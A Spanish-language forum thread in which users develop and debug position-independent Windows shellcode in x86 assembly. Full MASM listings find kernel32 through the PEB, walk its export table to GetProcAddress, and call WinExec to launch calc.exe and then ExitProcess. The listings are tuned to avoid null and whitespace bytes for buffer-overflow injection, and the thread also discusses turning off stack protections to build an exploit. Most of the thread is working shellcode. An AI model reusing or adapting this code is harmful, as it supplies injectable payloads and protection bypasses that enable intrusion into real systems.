Mensajes

claro, a ver si aquí se ve bien...

http://img706.imageshack.us/i/clipboard02shi.jpg/

[error:Debug Error!Program:programamodule:programafile:Runtime check failure #2. Stack around the variable 'buffer' was corrupted]

favor de leer:

http://wikipedia.org/wiki/Buffer_overflow_protection

Saludos

lo he leído y desactivado la opción /GS (buffer security check) en el compilador visual c++. Pero al hacer el overflow sigue saliendome un cuadro con un mensaje de error:

Debug Error!
Program:programa
module:programa
file:

Runtime check failure #2. Stack around the variable 'buffer' was corrupted

luego le doy a enter sale el mensaje de que el programa ha dejado de funcionar.
entonces sigue siendo un error referente al buffer overflow y no a una violación de segmento como debería ser en realidad.
Pero no entiendo cómo, ya que esta vez está desactivada la opción de protección sobre buffer overflow al compilarlo.

gracias por el codigo nox, me viene de perlas para lo proximo que quiero hacer en donde voy a necesitar loadlibrary.

Por cierto ya he encontrado donde estaba el fallo con mi codigo anterior. Aunque no entiendo muy bienel porqué sé que era la pila que quedaba desbalanceada y petaba al llamar a la segunda funcion: winexec(calc.exe)
entonces esto era lo que estaba mal:

Código [Seleccionar] Expandir

    push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 08h
   pop ebp

y así está bien:

Código [Seleccionar] Expandir

   mov esi, [esp]
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 07h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-07h], 57h  ; 'W'
   mov byte ptr [ebp-06h], 69h  ; 'i'
   mov byte ptr [ebp-05h], 6eh  ; 'n'
   mov byte ptr [ebp-04h], 45h  ; 'E'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], 63h  ; 'c'
   mov byte ptr [ebp-00h], dl   ; 0x00
   lea ecx, dword ptr [ebp-07h]
   mov ebx,eax     
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 07h
   pop ebp
había alguna clase de problema en el ajuste de las cadenas en la pila,

gracias x todo, y un saludo!

bien bien pero parece que no resolvimos ese problema de tu code el del principio mira yo use este code para loadlibrary, y me funciona perfectamente checa como le reservo la pila... si solo cambias los caracteres debe funcionar

Código (asm) [Seleccionar] Expandir


;00402044  4C 6F 61 64 4C 69 62 72  LoadLibr
;0040204C  61 72 79 41 00           aryA.

mov ebp,esp; ebp puntero al stack
sub esp, 0Dh; reservamos espacio
xor ecx,ecx
mov byte ptr [ebp - 0Dh], 4Ch
mov byte ptr [ebp - 0Ch], 6Fh
mov byte ptr [ebp - 0Bh], 61h
mov byte ptr [ebp - 0Ah], 64h
mov byte ptr [ebp - 09h], 4Ch
mov byte ptr [ebp - 08h], 69h
mov byte ptr [ebp - 07h], 62h
mov byte ptr [ebp - 06h], 72h
mov byte ptr [ebp - 05h], 61h
mov byte ptr [ebp - 04h], 72h
mov byte ptr [ebp - 03h], 79h
mov byte ptr [ebp - 02h], 41h
mov byte ptr [ebp - 01h], cl
lea ecx, dword ptr [ebp - 0Dh]

push ecx
push edx; BaseKernel
call ebx; GPA
add esp, 0Dh; Balanceamos la pila

pd: la pila se balancea para poder evitar errores, puede que haya un tipo de seguridad que mire la pila, y si a la hora de volver por ejemplo al programa la pila no esta como antes crash! y aunque no te de ese problema cuando lo haces una aplicacion autonoma, es por buena costumbre que lo harias .

Salu2!

este metodo es el que utilizo yo, solo que cuando balanceo la pila incomprensiblemente no me funciona. En cambio cuando no la balanceo si funciona. Algo debe de andar mal en la pila, aquí pongo los codigos:
este funciona (y eso que no balanceo la pila):

Código [Seleccionar] Expandir

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h]
      mov ebx, [ebx+0Ch]
      mov ebx, [ebx+1Ch]
      mov ebx, [ebx] 
      mov ebx, [ebx]
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp] ; puntero a la direccion base
   add esi, [esi+03Ch] ; puntero a PE signature
   mov edx, [esi+078h] ; puntero a la Export table
   add edx, [esp] ; sumamos la direccion base

   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx] ; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
   add esi, [esp] ; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
   add edi, [esp] ; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   xor dl, dl
   sub esp, 0bh ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   mov ebx,eax
   call eax ; llamamos a getprocadress
   
   xor dl, dl;******************************************************************ejecutar winexec(calc.exe)*********************************
   sub esp, 11h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec

   xor dl, dl;******************************************************************salir del programa con exitprocess*************************
   sub esp, 20h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-12h], 45h  ; 'E'
   mov byte ptr [ebp-11h], 78h  ; 'x'
   mov byte ptr [ebp-10h], 69h  ; 'i'
   mov byte ptr [ebp-0fh], 74h  ; 't'
   mov byte ptr [ebp-0eh], 50h  ; 'P'
   mov byte ptr [ebp-0dh], 72h  ; 'r'
   mov byte ptr [ebp-0ch], 6fh  ; 'o'
   mov byte ptr [ebp-0bh], 63h  ; 'c'
   mov byte ptr [ebp-0ah], 65h   ; 'e'
   mov byte ptr [ebp-09h], 73h   ; 's'
   mov byte ptr [ebp-08h], 73h   ; 's'
   mov byte ptr [ebp-07h], dl   ; '0'
   lea ecx, [ebp-12h] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx ; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
 
end start

;ml -c -coff -Cp c:\shellcodes\shellcode.asm
;link /SUBSYSTEM:WINDOWS shellcode.obj

y este encambio no funciona y eso que sí, balanceo la pila y guardo el espacio justo para cada cadena:

Código [Seleccionar] Expandir

.386
.model flat, stdcall  ;32 bit memory model
option casemap :none  ;case sensitive
assume fs:nothing

.code
start:

; ******************************************
; Buscamos la dirección base de kernel32.dll
; ******************************************
      xor ebx, ebx    ;utilizamos ebx en lugar de eax porque con eax salen caracteres nulos. Al final movemos ebx -> eax para tenerloigual que antes.
      mov ebx, fs:[ebx+30h]
      mov ebx, [ebx+0Ch]
      mov ebx, [ebx+1Ch]
      mov ebx, [ebx] 
      mov ebx, [ebx]
      mov ebx, [ebx+08h]
      mov eax, ebx
      push eax ; guardamos en la pila la direccion base de kernel32.dll

; ***********************************************************************
; Buscamos la direccion de GetProcAddress dada la direccion base de kernel32.dll
; ***********************************************************************
busca_funcion:
   mov esi, [esp] ; puntero a la direccion base
   add esi, [esi+03Ch] ; puntero a PE signature
   mov edx, [esi+078h] ; puntero a la Export table
   add edx, [esp] ; sumamos la direccion base

   mov ecx, edx ; esto evita meter el 20h (un espacio) que nos corta la shellcode
   add ecx, 1fh
   inc ecx
   mov ebx, [ecx] ; puntero al array AddressOfNames
   add ebx, [esp]
   xor eax, eax ; indice de AddressOfNames

bucle_funcion: ; buscamos la funcion a partir de la direccion base
   mov edi, [ebx]
   add edi, [esp]

   ; como ya no usamos el segmento .data, comparamos directamente el nombre de
   ; la libreria y para ello la introducimos al reves. Ademas, al ser 7 bytes,
   ; tenemos que separar en un dword, un word y un byte, para que no nos coja
   ; ningun caracter nulo
   cmp dword ptr [edi], 50746547h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 4], 41636f72h
   jnz funcion_no_encontrada
   cmp dword ptr [edi + 8], 65726464h
   jnz funcion_no_encontrada
   cmp word ptr [edi + 12], 7373h
   je funcion_encontrada
   
funcion_no_encontrada:
   nop ; ponemos un NOP aqui porque tras depurar con el Olly
; vi que usaba \x09 (tabulador) y me rompia la shellcode
; de esta forma amplio el salto en un byte y en lugar de
; 09 pondra 0A
   add ebx, 4
   inc eax
   cmp eax, dword ptr [edx+18h]
   jnz bucle_funcion

funcion_encontrada:
   mov esi, dword ptr [edx + 24h] ; puntero a la tabla de ordinales
   add esi, [esp] ; añadimos la direccion base
   xor ecx, ecx
   mov cx, word ptr [esi + 2 * eax] ; cx = numero de la funcion que se ha encontrado
   mov edi, dword ptr [edx + 1ch] ; puntero a la tabla de direcciones
   add edi, [esp] ; añadimos la direccion base
   mov eax, dword ptr [edi + 4 * ecx] ; puntero a la función encontrada
   add eax, [esp] ; añadimos la direccion base y tenemos la direccion de getprocadress en eax
   
; ******************************************************************************************************************************************
; programa principal
; ******************************************************************************************************************************************

   mov esi, [esp];************************************************************obtener dirección de winexec**********************************
   push ebp
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 08h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-08h], 57h  ; 'W'
   mov byte ptr [ebp-07h], 69h  ; 'i'
   mov byte ptr [ebp-06h], 6eh  ; 'n'
   mov byte ptr [ebp-05h], 45h  ; 'E'
   mov byte ptr [ebp-04h], 78h  ; 'x'
   mov byte ptr [ebp-03h], 65h  ; 'e'
   mov byte ptr [ebp-02h], 63h  ; 'c'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-08h] ; cargamos la direccion que apunta a nuestra cadena
   mov ebx,eax     ;movemos getprocadress a ebx porque al volver del call se sobreescribe eax
   push ecx
   push esi       ;dirección base de kernel32
   call eax ; llamamos a getprocadress
   add esp, 08h
   pop ebp

   push ebp;******************************************************************ejecutar winexec(calc.exe)*********************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 09h ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-09h], 63h  ; 'c'
   mov byte ptr [ebp-08h], 61h  ; 'a'
   mov byte ptr [ebp-07h], 6Ch  ; 'l'
   mov byte ptr [ebp-06h], 63h  ; 'c'
   mov byte ptr [ebp-05h], 2Eh  ; '.'
   mov byte ptr [ebp-04h], 65h  ; 'e'
   mov byte ptr [ebp-03h], 78h  ; 'x'
   mov byte ptr [ebp-02h], 65h  ; 'e'
   mov byte ptr [ebp-01h], dl   ; 0x00
   lea ecx, dword ptr [ebp-09h] ; cargamos la direccion que apunta a nuestra cadena
   push 5   ;parametro de winexec (show)
   push ecx
   call eax    ;llamamos a winexec
   add esp, 09h
   pop ebp

   push ebp;******************************************************************salir del programa con exitprocess*************************
   mov ebp, esp
   xor ecx,ecx
   xor dl, dl
   sub esp, 0ch ; dejamos espacio en la pila para meter nuestra cadena
   mov byte ptr [ebp-0ch], 45h  ; 'E'
   mov byte ptr [ebp-0bh], 78h  ; 'x'
   mov byte ptr [ebp-0ah], 69h  ; 'i'
   mov byte ptr [ebp-09h], 74h  ; 't'
   mov byte ptr [ebp-08h], 50h  ; 'P'
   mov byte ptr [ebp-07h], 72h  ; 'r'
   mov byte ptr [ebp-06h], 6fh  ; 'o'
   mov byte ptr [ebp-05h], 63h  ; 'c'
   mov byte ptr [ebp-04h], 65h   ; 'e'
   mov byte ptr [ebp-03h], 73h   ; 's'
   mov byte ptr [ebp-02h], 73h   ; 's'
   mov byte ptr [ebp-01h], dl   ; '0'
   lea ecx, dword ptr [ebp-0ch] ; cargamos la direccion que apunta a nuestra cadena
   push ecx
   push esi       ;dirección base de kernel32
   call ebx ; llamamos a getprocadress
                    ;obtenemos direccion de exitprocess
   xor ecx, ecx
   push ecx
   call eax        ;llamamos a exitprocess
add esp, 0ch
pop ebp

end start

;ml -c -coff -Cp c:\shellcodes\shellcode_pila_balanceada.asm
;link /SUBSYSTEM:WINDOWS shellcode_pila_balanceada.obj

[0]

Os habéis ido del tema, no lo habéis entendido...

Código (asm) [Seleccionar] Expandir


xor eax, eax
push eax
push byte 0x63;  'c'
push byte 0x65;  'e'
push byte 0x78;  'x'
push byte 0x45;  'E'
push byte 0x6e;  'n'
push byte 0x69;  'i'
push byte 0x57;  'W'
mov eax, esp


Al introducir "push eax" lo que hacemos es meter el byte nulo, lo que es equivalente a poner "string BLAHBLAH, 0", que es lo que queréis.
Si no lo entendéis, PM.
Un saludo. Sagrini

PS1: He puesto lo de byte para que no haya nulos entre medias, por si acaso...
PS2: Aparte, los pongo uno a uno porque son 7 bytes. Se podrían poner divididos en un WORD y tres bytes, pero no tengo ganas ...

push byte 57h ; esta instruccion no esta permitida en masm. hay que mandar 4 bytes en cada push.

si desactivas todas laprotecciones, el shellcode se ejecutara y la aplicacion original terminara de forma inesperada.

Saludos

desactivar protecciones?? ¿te refieres al antivirus? ¿cómo se desactivan tales protecciones en windows7?. ¿no es una excepción del sistema operativo?

estoy intentando hacer un exploit guiandome por el tutorial de rojodos. Y antes de nada me asalta la duda de que si al producirse el stack overflow ... ¿no se cortará la ejecución del programa debido a la excepción generada? Es decir ¿me permitirá windows seguir ejecutando la shellcode que hay en el buffer una vez se produzca la excepción por buffer overflow?

ok, Nox. Ya había conseguido antes hacerlo funcionar pero introducía la cadena en la pila de otra manera y quedaba la pila desbalanceada (aunque funcionaba igual sin problemas). no obstante de esta manera es más sencillo.

Un saludo!

disculpa por no entenderte,pero creo que debistes resaltar la cadena a pasar en primera instancia.. en ascii o talvez fue un despiste mio de no prestar atencion a tu cadena en hex sea cual sea, esto me funciono, chequelo.  

Código (asm) [Seleccionar] Expandir

00401000 >    33DB                    XOR EBX, EBX
00401002      53                      PUSH EBX
00401003      68 45786563             PUSH 63657845
00401008      C74424 FD 57696E45      MOV DWORD PTR SS:[ESP-3], 456E6957
00401010      8D5C24 FD               LEA EBX, DWORD PTR SS:[ESP-3]

pd: Me esta pareciendo interesante codear una shellcode eh! jeje (como nunca lo he hecho X)

pd2: el code creo que esta un poco ortodoxo, fijate si necesitas reservar espacio en la pila.. ya que estoy moviendo valores directamente, se puede mejorar, pero ya tienes la idea .

Salu2!

lo que pasa es que estaba tratando de hacerlo tal y como indicó sagrini en un post anterior, él utilizaba sólo  push, y no mov, de esa manera la pila queda siempre balanceada, eso es lo que intento principalmente.
Por lo tanto para meter la cadena con push hago esto:
En este primer caso no hay problemas con los opcodes nulos puesto que la cadena ocupa ocho caracteres y no necesito mandar ningún valor nulo.

Código [Seleccionar] Expandir

  xor ecx,ecx     ;necesitamos mandar el nulo (en este caso mandamos 4 ya que mandamos el ecx entero)
  push ecx
  push 6578652Eh ;caracteres de calc.exe
  push 636C6163h
  mov ecx,esp
pero en este caso: la cadena ocupa siete caracteres con lo cual hay que mandar un 00 al final.

Código [Seleccionar] Expandir

  push 00737365h       ;caracteres de exitprocess
  push 636f7250h
  push 74697845h
  mov ecx,esp
y ese es el problema ese caracter nulo. Sospecho que en linux igual no hay ese problema, pero tampoco estoy muy seguro.

ah! y Nox gracias por tu ayuda! por cierto vaya N más rara jeje.

es que hay algún sitio en donde nonos estamos entendiendo. Para clarificarlo voy a preguntar esto que no tiene más vuelta de hoja: ¿cómo introducirías en la pila winexec sabiendo que estos son sus caracteres asci?
57h  'W'
69h  'i'
6eh  'n'
45h  'E'
78h  'x'
65h  'e'
63h  'c'